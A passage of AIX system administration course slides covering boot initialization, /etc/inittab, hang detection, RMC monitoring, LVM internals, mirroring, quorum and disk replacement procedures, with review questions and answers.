<td>/etc/methods/startlft</td>
</tr>
<tr>
<td>3</td>
<td>25</td>
<td>0</td>
<td>/etc/methods/starttty</td>
</tr>
</tbody>
</table>

- `cfgmgr -f` (cfgmgr -f)
- `cfgmgr -p2` (Normal boot)
- `cfgmgr -p3` (Service boot)
Output in the Boot Log Using alog

# alog -t boot -o

-------------------------------------------------------
attempting to configure device 'sys0'
invoking /usr/lib/methods/cfgsys_rspc -l sys0
return code = 0
******* stdout *******
bus0
******* no stderr *****
-------------------------------------------------------

attempting to configure device 'bus0'
invoking /usr/lib/methods/cfgbus_pci bus0
return code = 0
******* stdout *******
bus1, scsi0
******* no stderr *****
-------------------------------------------------------

attempting to configure device 'bus1'
invoking /usr/lib/methods/cfgbus_isa bus1
return code = 0
******* stdout *******
fd0, ppa0, sa0, sioka0, kbd0
******* no stderr *****
/etc/inittab File

init:2:initdefault:

brc::sysinit:/sbin/rc.boot 3 >/dev/console 2>&1 # Phase 3 of system boot
powerfail::powerfail:/etc/rc.powerfail 2>&1 | alog -tboot > /dev/console #
mkatmpvc:2:once:/usr/sbin/mkatmpvc >/dev/console 2>&1
atmsvcd:2:once:/usr/sbin/atmsvcd >/dev/console 2>&1
tunables:23456789:wait:/usr/sbin/tunrestore -R > /dev/console 2>&1 # Set tunab
securityboot:2:bootwait:/etc/rc.security.boot > /dev/console 2>&1
rc:23456789:wait:/etc/rc 2>&1 | alog -tboot > /dev/console # Multi-User checks
rcemgr:23456789:once:/usr/sbin/emgr -B > /dev/null 2>&1
fbcheck:23456789:wait:/usr/sbin/fbcheck 2>&1 | alog -tboot > /dev/console # ru
srcmstr:23456789:respawn:/usr/sbin/srcmstr # System Resource Controller
rctcpip:23456789:wait:/etc/rc.tcpip > /dev/console 2>&1 # Start TCP/IP daemons
mkcifs_fs:2:wait:/etc/mkcifs_fs > /dev/console 2>&1
sniinst:2:wait:/var/adm/sni/sniprei > /dev/console 2>&1
rcnfs:23456789:wait:/etc/rc.nfs > /dev/console 2>&1 # Start NFS Daemons
cron:23456789:respawn:/usr/sbin/cron
piobe:2:wait:/usr/lib/lpd/pioinit_cp >/dev/null 2>&1 # pb cleanup
cons:0123456789:respawn:/usr/bin/getty /dev/console
qdaemon:23456789:wait:/usr/bin/startsraqdaemon -sqdaemon
writesrv:23456789:wait:/usr/bin/startsra -swritesrv
uprintfd:23456789:respawn:/usr/sbin/uprintfd
shdaemon:2:off:/usr/sbin/shdaemon >/dev/console 2>&1 # High availability

Do not use an editor to change /etc/inittab.
Use mkitab, chitab, rmitab instead!
System Hang Detection

● System hangs:
  – High priority process
  – Other

● What does `shdaemon` do?
  – Monitors system's ability to run processes
  – Takes specified action if threshold is crossed

● Actions:
  – Log error in the Error Log
  – Display a warning message on the console
  – Launch recovery login on a console
  – Launch a command
  – Automatically REBOOT system
# Configuring shdaemon

```
# shconf -E -l prio
sh_pp       disable       Enable Process Priority Problem
pp_errlog   disable       Log Error in the Error Logging
pp_eto      2             Detection Time-out
pp_eprio    60            Process Priority

pp_warning  enable        Display a warning message on a console
pp_wto      2             Detection Time-out
pp$wprio    60            Process Priority
pp_wterm    /dev/console  Terminal Device

pp_login    enable        Launch a recovering login on a console
pp_lto      2             Detection Time-out
pp_lprio    100           Process Priority
pp_lterm    /dev/console  Terminal Device

pp_cmd      disable       Launch a command
pp_cto      2             Detection Time-out
pp_cprio    60            Process Priority
pp_cpath    /home/unhang  Script

pp_reboot   disable       Automatically REBOOT system
pp_rto      5             Detection Time-out
pp_rprio    39            Process Priority
```

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Resource Monitoring and Control (RMC)

- Based on two concepts:
  - Conditions
  - Responses

- Associates predefined responses with predefined conditions for monitoring system resources

- Example: Broadcast a message to the system administrator when the /tmp file system becomes 90% full
RMC Conditions Property Screen: General Tab

**Name:** /tmp space used

**Management scope:** Local Machine

**Monitored:** No

**Resource class:** File System

**Monitored property:** PercentTotUsed

**Event expression:** PercentTotUsed > 90

**Event description:** An event will be generated when more than 90 percent of the total space in the /tmp directory is in use.

**Rearm expression:** PercentTotUsed < 75

**Rearm description:** The event will be rearmed when the percent of the space used in the /tmp directory falls below 75 percent.

**Severity:** Informational

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### RMC Conditions Property Screen: Monitored Resources Tab

**Condition /tmp space used Properties @ aix**

<table>
<thead>
<tr>
<th>Name</th>
<th>Mount Point</th>
<th>Mount Directory</th>
<th>Device Name</th>
<th>Virtual File System</th>
<th>Permissions</th>
<th>Size</th>
<th>Log Device Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>/</td>
<td>/</td>
<td>/</td>
<td>/dev/hd4</td>
<td>jfs</td>
<td>rw</td>
<td>32,768</td>
<td>/dev/hd8</td>
</tr>
<tr>
<td>/home</td>
<td>/home</td>
<td>/home</td>
<td>/dev/hd1</td>
<td>jfs</td>
<td>rw</td>
<td>98,304</td>
<td>/dev/hd8</td>
</tr>
<tr>
<td>/home/jupiter</td>
<td>/home/jupiter</td>
<td>/dev/fslv00</td>
<td>jfs2</td>
<td></td>
<td></td>
<td>0</td>
<td>/dev/loglv01</td>
</tr>
<tr>
<td>/home/mars</td>
<td>/home/mars</td>
<td>/dev/fslv01</td>
<td>jfs2</td>
<td></td>
<td></td>
<td>0</td>
<td>/dev/loglv01</td>
</tr>
<tr>
<td>/opt</td>
<td>/opt</td>
<td>/opt</td>
<td>/dev/hd10opt</td>
<td>jfs</td>
<td>rw</td>
<td>65,536</td>
<td>/dev/hd8</td>
</tr>
<tr>
<td>/tmp</td>
<td>/tmp</td>
<td>/tmp</td>
<td>/dev/hd3</td>
<td>jfs</td>
<td>rw</td>
<td>65,536</td>
<td>/dev/hd8</td>
</tr>
<tr>
<td>/usr</td>
<td>/usr</td>
<td>/usr</td>
<td>/dev/hd2</td>
<td>jfs</td>
<td>rw</td>
<td>2,555,9...</td>
<td>/dev/hd8</td>
</tr>
<tr>
<td>/var</td>
<td>/var</td>
<td>/var</td>
<td>/dev/hd9var</td>
<td>jfs</td>
<td>rw</td>
<td>32,768</td>
<td>/dev/hd8</td>
</tr>
</tbody>
</table>
RMC Actions Property Screen: General Tab

Modify Action E-mail root

Action name: E-mail root

Command to run:
- Run program
- Send mail
- Log file
- Broadcast message
- SNMP trap
- Run program

Enter program name: 

Event occurs
Event is caused by an undefined resource

- Redirect command’s standard output to audit log
- Run command when rearm event occurs
- Check command return code

OK  Cancel  Help

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RMC Actions Property Screen:
When in Effect Tab

Periods when the action should be taken:
- All day
- 17:00–23:00

Specify when the action should be taken:
- Time of Day:
  - All day
  - Time period
    - From: 00:00
    - To: 00:00

Day of Week:
- Everyday
- Monday
- Tuesday
- Wednesday
- Thursday
- Friday
- Saturday
- Sunday

Add
Remove
Modify
OK
Cancel
Help

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# Boot Problem Management

<table>
<thead>
<tr>
<th>Check</th>
<th>LED</th>
<th>User Action</th>
</tr>
</thead>
<tbody>
<tr>
<td>Bootlist wrong?</td>
<td>LED codes cycle</td>
<td>Power on, press <code>F1</code>, select Multi-Boot, select the correct boot device.</td>
</tr>
<tr>
<td><code>/etc/inittab</code> corrupt?</td>
<td>553</td>
<td>Access the <code>rootvg</code>. Check <code>/etc/inittab</code> (empty, missing or corrupt?). Check <code>/etc/environment</code>.</td>
</tr>
<tr>
<td><code>/etc/environment</code> corrupt?</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Boot logical volume or boot record corrupt?</td>
<td>20EE000B</td>
<td>Access the <code>rootvg</code>. Re-create the BLV: <code># bosboot -ad /dev/hdiskx</code>.</td>
</tr>
<tr>
<td>JFS/JFS2 log corrupt?</td>
<td>551, 552, 554, 555, 556, 557</td>
<td>Access <code>rootvg</code> before mounting the <code>rootvg</code> file systems. Re-create the JFS/JFS2 log: <code># logform -V jfs /dev/hd8</code> or <code># logform -V jfs2 /dev/hd8</code>. Run <code>fsck</code> afterwards.</td>
</tr>
<tr>
<td>Superblock corrupt?</td>
<td>552, 554, 556</td>
<td>Run <code>fsck</code> against all <code>rootvg</code> file systems. If <code>fsck</code> indicates errors (not an AIX file system), repair the superblock as described in the notes.</td>
</tr>
<tr>
<td><code>rootvg</code> locked?</td>
<td>551</td>
<td>Access <code>rootvg</code> and unlock the <code>rootvg</code>: <code># chvg -u rootvg</code></td>
</tr>
<tr>
<td>ODM files missing?</td>
<td>523 - 534</td>
<td>ODM files are missing or inaccessible. Restore the missing files from a system backup.</td>
</tr>
<tr>
<td>Mount of <code>/usr</code> or <code>/var</code> failed?</td>
<td>518</td>
<td>Check <code>/etc/filesystem</code>. Check network (remote mount), file systems (<code>fsck</code>) and hardware.</td>
</tr>
</tbody>
</table>
## Let's Review: /etc/inittab File

<table>
<thead>
<tr>
<th>Name</th>
<th>Action</th>
<th>Command</th>
</tr>
</thead>
<tbody>
<tr>
<td>init</td>
<td>2: initdefault:</td>
<td></td>
</tr>
<tr>
<td>brc:</td>
<td>sysinit:/sbin/rc.boot 3</td>
<td></td>
</tr>
<tr>
<td>rc:</td>
<td>2: wait:/etc/rc</td>
<td></td>
</tr>
<tr>
<td>fbcheck</td>
<td>2: wait:/usr/sbin/fbcheck</td>
<td></td>
</tr>
<tr>
<td>srcmstr</td>
<td>2: respawn:/usr/sbin/srcmstr</td>
<td></td>
</tr>
<tr>
<td>cron</td>
<td>2: respawn:/usr/sbin/cron</td>
<td></td>
</tr>
<tr>
<td>rctcpip</td>
<td>2: wait:/etc/rc.tcpip</td>
<td></td>
</tr>
<tr>
<td>rcnfs</td>
<td>2: wait:/etc/rc.nfs</td>
<td></td>
</tr>
<tr>
<td>qdaemon</td>
<td>2: wait:/usr/bin/starts -sqdaemon</td>
<td></td>
</tr>
<tr>
<td>dt:</td>
<td>2: wait:/etc/rc.dt</td>
<td></td>
</tr>
<tr>
<td>tty0</td>
<td>2: off:/usr/sbin/getty /dev/tty1</td>
<td></td>
</tr>
<tr>
<td>myid:</td>
<td>2: once:/usr/local/bin/errlog.check</td>
<td></td>
</tr>
<tr>
<td>Process</td>
<td>Action</td>
<td></td>
</tr>
<tr>
<td>---------</td>
<td>--------</td>
<td></td>
</tr>
<tr>
<td><code>init:2:initdefault:</code></td>
<td>Determine initial run-level</td>
<td></td>
</tr>
<tr>
<td><code>brc::sysinit:/sbin/rc.boot 3</code></td>
<td>Startup last boot phase</td>
<td></td>
</tr>
<tr>
<td><code>rc:2:wait:/etc/rc</code></td>
<td>Multiuser initialization</td>
<td></td>
</tr>
<tr>
<td><code>fbcheck:2:wait:/usr/sbin/fbcheck</code></td>
<td>Execute <code>/etc/firstboot</code>, if it exists</td>
<td></td>
</tr>
<tr>
<td><code>srcmstr:2:respawn:/usr/sbin/srcmstr</code></td>
<td>Start the System Resource Controller</td>
<td></td>
</tr>
<tr>
<td><code>cron:2:respawn:/usr/sbin/cron</code></td>
<td>Start the <code>cron</code> daemon</td>
<td></td>
</tr>
<tr>
<td><code>rctcpip:2:wait:/etc/rc.tcpip</code></td>
<td>Startup communication daemon processes (<code>nfsd</code>, <code>biod</code>, <code>ypserv</code>, and so forth)</td>
<td></td>
</tr>
<tr>
<td><code>rcnfs:2:wait:/etc/rc.nfs</code></td>
<td></td>
<td></td>
</tr>
<tr>
<td><code>qdaemon:2:wait:/usr/bin/startsrb -qdaemon</code></td>
<td>Startup spooling subsystem</td>
<td></td>
</tr>
<tr>
<td><code>dt:2:wait:/etc/rc.dt</code></td>
<td>Startup CDE desktop</td>
<td></td>
</tr>
<tr>
<td><code>tty0:2:off:/usr/sbin/getty /dev/tty1</code></td>
<td>Line ignored by <code>init</code></td>
<td></td>
</tr>
<tr>
<td><code>myid:2:once:/usr/local/bin/errlog.check</code></td>
<td>Process started only one time</td>
<td></td>
</tr>
</tbody>
</table>
1. From where is `rc.boot 3` run?

________________________________________________________________________

3. Your system stops booting with LED 557:
   • In which `rc.boot` phase does the system stop?
     __________
   • What are some reasons for this problem?
     - ____________________________________________________________
     - ____________________________________________________________
     - ____________________________________________________________

4. Which ODM file is used by the `cfgmgr` during boot to configure the devices in the correct sequence?

________________________________________________________________________

• What does the line `init:2:default: in /etc/inittab` mean?
1. From where is $rc\_boot$ 3 run?
   From the `/etc/inittab` file in rootvg

3. Your system stops booting with LED 557:
   • In which $rc\_boot$ phase does the system stop? $rc\_boot$
     2
   • What are some reasons for this problem?
     − Corrupted BLV
     − Corrupted JFS log
     − Damaged file system
   • Which ODM file is used by the $cfgmgr$ during boot to configure the devices in the correct sequence? Config_Rules
   • What does the line `init:2:initdefault:` in `/etc/inittab` mean?
     This line is used by the `init` process, to determine the initial run level (2=multiuser).
Exercise 4: System Initialization Part 2

- Repair a corrupted log logical volume
- Analyze and fix a boot failure
Unit Summary

• After the boot image is loaded into RAM, the `rc.boot` script is executed three times to configure the system.
  - During `rc.boot 1`, devices to varyon the `rootvg` are configured.
  - During `rc.boot 2`, the `rootvg` is varied on.
  - In `rc.boot 3`, the remaining devices are configured.
• Processes defined in `/etc/inittab` file are initiated by the `init` process.
Disk Management Theory
Unit Objectives

After completing this unit, you should be able to:

• Explain where LVM information is stored

• Solve ODM-related LVM problems

• Set up mirroring appropriate to your needs

• Describe the quorum mechanism

• Explain the physical volume states used by the LVM
LVM Terms

- **Physical Partitions**
  - **Physical Volumes**
  - **Volume Group**

- **Logical Partitions**
  - **Logical Volume**

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## Volume Group Limits

### Normal Volume Groups (**`mkvg`**)

<table>
<thead>
<tr>
<th>Number of disks:</th>
<th>Max. number of partitions/disk:</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>32512</td>
</tr>
<tr>
<td>2</td>
<td>16256</td>
</tr>
<tr>
<td>4</td>
<td>8128</td>
</tr>
<tr>
<td>8</td>
<td>4064</td>
</tr>
<tr>
<td>16</td>
<td>2032</td>
</tr>
<tr>
<td><strong>32</strong></td>
<td><strong>1016</strong></td>
</tr>
</tbody>
</table>

### Big Volume Groups (**`mkvg -B` or `chvg -B`**)

<table>
<thead>
<tr>
<th>Number of disks:</th>
<th>Max. number of partitions/disk:</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>130048</td>
</tr>
<tr>
<td>2</td>
<td>65024</td>
</tr>
<tr>
<td>4</td>
<td>32512</td>
</tr>
<tr>
<td>8</td>
<td>16256</td>
</tr>
<tr>
<td>16</td>
<td>8128</td>
</tr>
<tr>
<td>32</td>
<td>4064</td>
</tr>
<tr>
<td>64</td>
<td>2032</td>
</tr>
<tr>
<td><strong>128</strong></td>
<td><strong>1016</strong></td>
</tr>
</tbody>
</table>
Scalable Volume Groups

- Introduced in AIX 5L V5.3
- Support 1024 disks per volume group.
- Support 4096 logical volumes per volume group.
- Maximum number of PPs is VG instead of PV dependent.
- LV control information is kept in the VGDA.
- No need to set the maximum values at creation time; the initial settings can always be increased at a later date.
## Configuration Limits for Volume Groups

<table>
<thead>
<tr>
<th>VG Type</th>
<th>Maximum PVs</th>
<th>Maximum LVs</th>
<th>Maximum PPs per VG</th>
<th>Maximum PP size</th>
</tr>
</thead>
<tbody>
<tr>
<td>Normal VG</td>
<td>32</td>
<td>256</td>
<td>32512 (1016*32)</td>
<td>1 GB</td>
</tr>
<tr>
<td>Big VG</td>
<td>128</td>
<td>512</td>
<td>130048 (1016*128)</td>
<td>1 GB</td>
</tr>
<tr>
<td>Scalable VG</td>
<td>1024</td>
<td>4096</td>
<td>2097152</td>
<td>128 GB</td>
</tr>
</tbody>
</table>
Mirroring

Physical Partitions

Logical Partitions

Mirrored Logical Volume

Application

write(data);
Striping

Stream of data

Strip Units

hdisk0

LP1

1 4 7

hdisk1

LP2

2 5 8

hdisk2

LP3

3 6 9

Streamed Logical Volume

LP1
LP2
LP3
Mirroring and Striping with RAID

RAID = Redundant Array of Independent Disks
## RAID Levels You Should Know About

<table>
<thead>
<tr>
<th>RAID Level</th>
<th>Implementation</th>
<th>Explanation</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>Striping</td>
<td>Data is split into blocks. These blocks are written to or read from a series of disks in parallel. No data redundancy.</td>
</tr>
<tr>
<td>1</td>
<td>Mirroring</td>
<td>Data is split into blocks and duplicate copies are kept on separate disks. If any disk in the array fails, the mirrored data can be used.</td>
</tr>
<tr>
<td>5</td>
<td>Striping with parity drives</td>
<td>Data is split into blocks that are striped across the disks. For each block, parity information is written that allows the reconstruction in case of a disk failure.</td>
</tr>
</tbody>
</table>
Exercise 5: LVM Tasks and Problems (Part 1)

- Part 1: Basic LVM Tasks
LVM Identifiers

Goal: Unique worldwide identifiers for
• Volume groups
• Hard disks
• Logical volumes

# lsvg rootvg
... VG IDENTIFIER: 00c35ba000004c00000001157f54bf78

# lspv
hdisk0  00c35ba07b2e24f0  rootvg  active
...

# lslv hd4
LOGICAL VOLUME:  hd4   VOLUME GROUP: rootvg
LV IDENTIFIER:  00c35ba000004c00000001157f54bf78.4 ...
...

# uname -m
00C35BA04C00

32 bytes long
32 bytes long
(VGID.minor number)
(16 are shown)
LVM Data on Disk Control Blocks

Volume Group Descriptor Area (VGDA)
- Most important data structure of LVM
- Global to the volume group (same on each disk)
- One or two copies per disk

Volume Group Status Area (VGSA)
- Tracks the state of mirrored copies
- One or two copies per disk

Logical Volume Control Block (LVCB)
- Has historically occupied first 512 bytes of each logical volume
- Contains LV attributes (policies, number of copies)
- Should not be overwritten by applications using raw devices!
LVM Data in the Operating System

Object Data Manager (ODM)
- Physical volumes, volume groups, and logical volumes are represented as devices (customized devices)
- CuDv, CuAt, CuDvDr, CuDep

AIX Files
- /etc/vg/vgVGID Handle to the VGDA copy in memory
- /dev/hdiskX Special file for a disk
- /dev/VGname Special file for administrative access to a VG
- /dev/LVname Special file for a logical volume
- /etc/filesystems Used by the `mount` command to associate LV name, file system log, and mount point
## Contents of the VGDA

<p>| | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Header Time Stamp</strong></td>
<td>• Updated when VG is changed</td>
</tr>
<tr>
<td><strong>Physical Volume List</strong></td>
<td>• PVIDs only (no PV names) • VGDA count and PV state</td>
</tr>
<tr>
<td><strong>Logical Volume List</strong></td>
<td>• LVIDs and LV names • Number of copies</td>
</tr>
<tr>
<td><strong>Physical Partition Map</strong></td>
<td>• Maps LPs to PPs</td>
</tr>
<tr>
<td><strong>Trailer Time Stamp</strong></td>
<td>• Must contain same value as header time stamp</td>
</tr>
</tbody>
</table>
VGDA Example

# lqueryvg -p hdisk1 -At
Max LVs: 256
PP Size: 20

Free PPs: 12216
LV count: 3
PV count: 1

Total VGDA: 2
MAX PPs per PV: 32768
MAX PVs: 1024

Logical:
00c35ba0000004c000000001157fcf6bdf.1 lv00 1
  00c35ba0000004c000000001157fcf6bdf.2 lv01 1
  00c35ba0000004c000000001157fcf6bdf.3 lv02 1

Physical:
00c35ba07fcf6b93 2 0

6: ____________ 7: ____________
The Logical Volume Control Block (LVCB)

# getlvcb -AT hd2

AIX LVCB
intrapolicy = c
copies = 1
interpolicy = m
lvid = 00c35ba000004c000000001157f54bf78.5
lvname = hd2
label = /usr
machine id = 35BA04C00
number lps = 102
relocatable = y
strict = y
stripe width = 0
stripe size in exponent = 0
type = jfs2
upperbound = 32
fs =
time created = Mon Oct  8 11:16:49 2007
time modified = Mon Oct  8 07:00:09 2007
How LVM Interacts with ODM and VGDA

VGDA LVCB

Change, using low-level commands

mkvg extendvg mklv crfs chfs rmlv reducevg ...

Match IDs by name

ODM
/etc/filesystems

importvg

exportvg

Update
# odmget -q "name like hdisk[02]" CuDv

CuDv:
   name = "hdisk0"
   status = 1
   chgstatus = 2
   ddins = "scsidisk"
   location = ""
   parent = "vscsi0"
   connwhere = "810000000000"
   PdDvLn = "disk/vscsi/vdisk"

CuDv:
   name = "hdisk2"
   status = 1
   chgstatus = 0
   ddins = "scdisk"
   location = "01-08-01-8,0"
   parent = "scsi1"
   connwhere = "8,0"
   PdDvLn = "disk/scsi/scsd"
# odmget -q "name=hdisk0 and attribute=pvid" CuAt
CuAt:
    name = "hdisk0"
    attribute = "pvid"
    value = "00c35ba07b2e24f000000000000000000"
    type = "R"
    generic = "D"
    rep = "s"
    nls_index = 11
# odmget -q "value3 like hdisk[03]" CuDvDr
CuDvDr:
    resource = "devno"
    value1 = "17"
    value2 = "0"
    value3 = "hdisk0"

CuDvDr:
    resource = "devno"
    value1 = "36"
    value2 = "0"
    value3 = "hdisk3"

# ls -l /dev/hdisk[03]
brw------- 1 root system 17, 0 Oct 08 06:17 /dev/hdisk0
brw------- 1 root system 36, 0 Oct 08 09:19 /dev/hdisk3
ODM Entries for Volume Groups (1 of 2)

# odmget -q "name=rootvg" CuDv
CuDv:

   name = "rootvg"
   status = 0
   chgstatus = 1
   ddins = ""
   location = ""
   parent = ""
   connwhere = ""
   PdDvLn = "logical_volume/vgs subclass/vgtype"

# odmget -q "name=rootvg" CuAt
CuAt:

   name = "rootvg"
   attribute = "vgserial_id"
   value = "00c35ba000004c000001157f54bf78"
   type = "R"
   generic = "D"
   rep = "n"
   nls_index = 637

(output continues on next page)
# odmget -q "name=rootvg" CuAt
...

CuAt:
  name = "rootvg"
  attribute = "timestamp"
  value = "470a1bc9243ed693"
  type = "R"
  generic = "DU"
  rep = "s"
  nls_index = 0

CuAt:
  name = "rootvg"
  attribute = "pv"
  value = "00c35ba07b2e24f00000000000000000000"
  type = "R"
  generic = ""
  rep = "sl"
  nls_index = 0
# odmget -q "name=hd2" CuDv
CuDv:
    name = "hd2"
    status = 0
    chgstatus = 1
    ddins = ""
    location = ""
    parent = "rootvg"
    connwhere = ""
    PdDvLn = "logical_volume/lvsubclass/lvtype"

# odmget -q "name=hd2" CuAt
CuAt:
    name = "hd2"
    attribute = "lvserial_id"
    value = "00c35ba000004c00000001157f54bf78.5"
    type = "R"
    generic = "D"
    rep = "n"
    nls_index = 648

Other attributes include intra, stripe_width, type, etc.
ODM Entries for Logical Volumes (2 of 2)

```bash
# odmget -q "value3=hd2" CuDvDr
CuDvDr:
    resource = "devno"
    value1 = "10"
    value2 = "5"
    value3 = "hd2"

# ls -l /dev/hd2
brw------ 1 root system 10,5 08 Jan 06:56 /dev/hd2

# odmget -q "dependency=hd2" CuDep
CuDep:
    name = "rootvg"
    dependency = "hd2"
```
ODM-Related LVM Problems

What can cause problems?

- `kill -9`, shutdown, system crash
- Improper use of low-level commands
- Hardware changes without or with wrong software actions
- Full root file system
If the ODM problem is *not in the rootvg*, for example in volume group *homevg*, do the following:

```
# varyoffvg homevg
# exportvg homevg
# importvg -y homevg hdiskX
```

- Remove complete volume group from the ODM
- Import volume group and create new ODM objects
Fixing ODM Problems (2 of 2)

If the ODM problem is in the rootvg, try using rvgrecover:

```
PV=hdisk0
VG=rootvg

cp /etc/objrepos/CuAt /etc/objrepos/CuAt.$$
cp /etc/objrepos/CuDep /etc/objrepos/CuDep.$$
cp /etc/objrepos/CuDv /etc/objrepos/CuDv.$$  
cp /etc/objrepos/CuDvDr /etc/objrepos/CuDvDr.$$  
lqueryvg -Lp $PV | awk '{print $2}' | while read LVname;
do
    odmdelete -q "name=$LVname" -o CuAt
    odmdelete -q "name=$LVname" -o CuDv
    odmdelete -q "value3=$LVname" -o CuDvDr
done

odmdelete -q "name=$VG" -o CuAt
odmdelete -q "parent=$VG" -o CuDv
odmdelete -q "name=$VG" -o CuDv
odmdelete -q "name=$VG" -o CuDep
odmdelete -q "dependency=$VG" -o CuDep
odmdelete -q "value1=10" -o CuDvDr
odmdelete -q "value3=$VG" -o CuDvDr

importvg -y $VG $PV # ignore lvaryoffvg errors
varyonvg $VG
```

- Uses odmdelete to "export" rootvg
- Uses importvg to import rootvg
Exercise 5: LVM Tasks and Problems (Part 2)

• Part 2: Analyze and Fix an LVM-related ODM Problem

• Part 2: Analyze and Fix an LVM-related ODM Problem Using *rvgrecover*
Mirroring

<table>
<thead>
<tr>
<th>LP</th>
<th>PP1</th>
<th>PP2</th>
<th>PP3</th>
</tr>
</thead>
<tbody>
<tr>
<td>5</td>
<td>hdisk0, 5</td>
<td>hdisk1, 8</td>
<td>hdisk2, 9</td>
</tr>
</tbody>
</table>

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Stale Partitions

After repair of \texttt{hdisk2}:

- \texttt{varyonvg VGName (calls syncvg -v VGName)}
- Only stale partitions are updated
Creating Mirrored LVs (*smit mklv*)

Add a Logical Volume

Type or select values in entry fields.
Press Enter AFTER making all desired changes.

[TOP]

[Entry Fields]

Logical volume NAME [lv01]
VOLUME GROUP name rootvg
Number of LOGICAL PARTITIONS [50]
PHYSICAL VOLUME names [hdisk2 hdisk4]
Logical Volume TYPE []
POSITION on physical volume edge
RANGE of physical volumes minimum
MAXIMUM NUMBER of PHYSICAL VOLUMES []
   to use for allocation
Number of COPIES of each logical [2]
   partition
Mirror Write Consistency? active
Allocate each logical partition copy yes
   on a SEPARATE physical volume?
... 
SCHEDULING POLICY for reading/writing parallel
   logical partition copies
Scheduling Policies: Sequential

- Second physical write operation is not started unless the first has completed successfully
- In case of a total disk failure, there is always a "good copy"
- Increases availability, but decreases performance
- In this example, the write operation takes 12 ms (1 + 3 + 8)
Scheduling Policies: Parallel

- Write operations for physical partitions start at the same time:
  When the longest write (8 ms) finishes, the write operation is complete
- Improves performance (especially READ performance)
Mirror Write Consistency (MWC)

Problem:
* Parallel scheduling policy and ...
* ... system crashes before the writes to all mirrors have been completed
* Mirrors of the logical volume are in an inconsistent state

Solution: Mirror Write Consistency (MWC)
* MWC information used to make logical partitions consistent again after reboot
* Active MWC uses separate area of each disk (outer edge area)
* Try to place logical volumes that use active MWC in the outer edge area
Adding Mirrors to Existing LVs (mklvcopy)

Add Copies to a Logical Volume

Type or select values in entry fields.
Press Enter AFTER making all desired changes.

[Entry Fields]

Logical volume NAME [hd2]
NEW TOTAL number of logical partition copies 2
PHYSICAL VOLUME names [hdisk1]
POSITION on physical volume outer edge
RANGE of physical volumes minimum
MAXIMUM NUMBER of PHYSICAL VOLUMES [32]
to use for allocation
Allocate each logical partition copy yes
on a SEPARATE physical volume?
File containing ALLOCATION MAP []
SYNCHRONIZE the data in the new logical partition copies? no
MIRR0RING ROOTVG

1. extendvg
2. chvg -Qn
3. mirrorvg -s
4. syncvg -v

5. bosboot -a
6. bootlist
7. shutdown -Fr
8. bootinfo -b

• Make a copy of all rootvg LVs using mirrorvg and place copies on the second disk
• Execute bosboot and change your bootlist

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Mirroring Volume Groups (mirrorvg)

Mirror a Volume Group

Type or select values in entry fields.
Press Enter AFTER making all desired changes.

[Entry Fields]

VOLUME GROUP name  rootvg
Mirror sync mode  [Foreground]
PHYSICAL VOLUME names  [hdisk1]
Number of COPIES of each logical partition  2
Keep Quorum Checking On?  no
Create Exact LV Mapping?  no

For rootvg, you need to execute:
• bosboot
• bootlist -m normal ...

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VGDA Count

Two-disk Volume Group

Loss of PV1: Only 33% VGDA\text{s} available (\text{No quorum})

Loss of PV2: 66\% of VGDA\text{s} available (\text{Quorum})

Three-disk Volume Group

Loss of 1 PV: 66\% of VGDA\text{s} still available (\text{Quorum})

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Quorum Not Available

If hdisk1 fails, datavg has no quorum!

# varyonvg datavg

FAILS !!!

Closed during operation:
- No more access to LVs
- LVM_SA_QUORCLOSE in error log
Nonquorum Volume Groups

With single mirroring, always disable the quorum:

- `chvg -Qn datavg`
- `varyoffvg datavg`
- `varyonvg datavg`

Additional considerations for `rootvg`:

- `chvg -Qn rootvg`
- `bosboot -ad /dev/hdiskX`
- Reboot

- Turning off the quorum checking does not allow a normal `varyonvg` without a quorum
- It does prevents closing of the volume group when quorum is lost
**Forced Varyon (```varyonvg -f```)**

```
# varyonvg datavg FAILS !!! (even when quorum disabled)
```

Check the reason for the failure (cable, adapter, power), before doing the following ...

```
# varyonvg -f datavg
```

Failure accessing **hdisk1**. Set **PV STATE** to **removed**. Volume group **datavg** is varied on.
Physical Volume States

- `varyonvg VGName`
- active
  - Quorum ok?
  - Quorum lost?
- missing
  - Hardware Repair
- Hardware Repair followed by:
  - `varyonvg -f VGName`
- removed
- chpv -v a hdiskX
- removed
1. (True or False) All LVM information is stored in the ODM.

2. (True or False) You detect that a physical volume `hdisk1` that is contained in your `rootvg` is missing in the ODM. This problem can be fixed by exporting and importing the `rootvg`.

3. (True or False) The LVM supports RAID-5 without separate hardware.
• (True or False) All LVM information is stored in the ODM. False. Information is also stored in other AIX files and in disk control blocks (like the VGDA and LVCB).

• (True or False) You detect that a physical volume hdisk1 that is contained in your rootvg is missing in the ODM. This problem can be fixed by exporting and importing the rootvg. False. Use the rvgrecover script instead. This script creates a complete set of new rootvg ODM entries.

• (True or False) The LVM supports RAID-5 without separate hardware. False. LVM supports RAID-0, RAID-1, and RAID-10 without additional hardware.
Exercise 6: Mirroring rootvg

- Mirror and Unmirror the Complete rootvg
Unit Summary

- The LVM information is held in a number of different places on the disk, including the ODM and the VGDA
- ODM related problems can be solved by:
  - `exportvg/importvg (non-rootvg VGs)`
  - `rvgrecovers (rootvg)`
- Mirroring improves the availability of a system or a logical volume
- Striping improves the performance of a logical volume
- Quorum means that more than 50% of VGDAs must be available
Welcome to:

Disk Management Procedures
After completing this unit, you should be able to:

• Replace a disk under different circumstances
• Recover from a total volume group failure
• Rectify problems caused by incorrect actions that have been taken to change disks
• Export and import volume groups
A disk must be replaced ...

Disk mirrored?

Yes
  → Procedure 1

No
  → Disk still working?

Yes
  → Procedure 2

No
  → Volume group lost?

rootvg
  → Procedure 4

Not rootvg
  → Procedure 5

No
  → Procedure 3

rootvg
  → Not rootvg
Procedure 1: Disk Mirrored

1. Remove all copies from disk:
   ```
   # unmirrorvg vg_name hdiskX
   ```

4. Remove disk from volume group:
   ```
   # reducevg vg_name hdiskX
   ```

7. Remove disk from ODM:
   ```
   # rmdev -l hdiskX -d
   ```

10. Connect new disk to system
    May have to shut down if not hot-pluggable

13. Add new disk to volume group:
    ```
    # extendvg vg_name hdiskY
    ```

16. Create new copies:
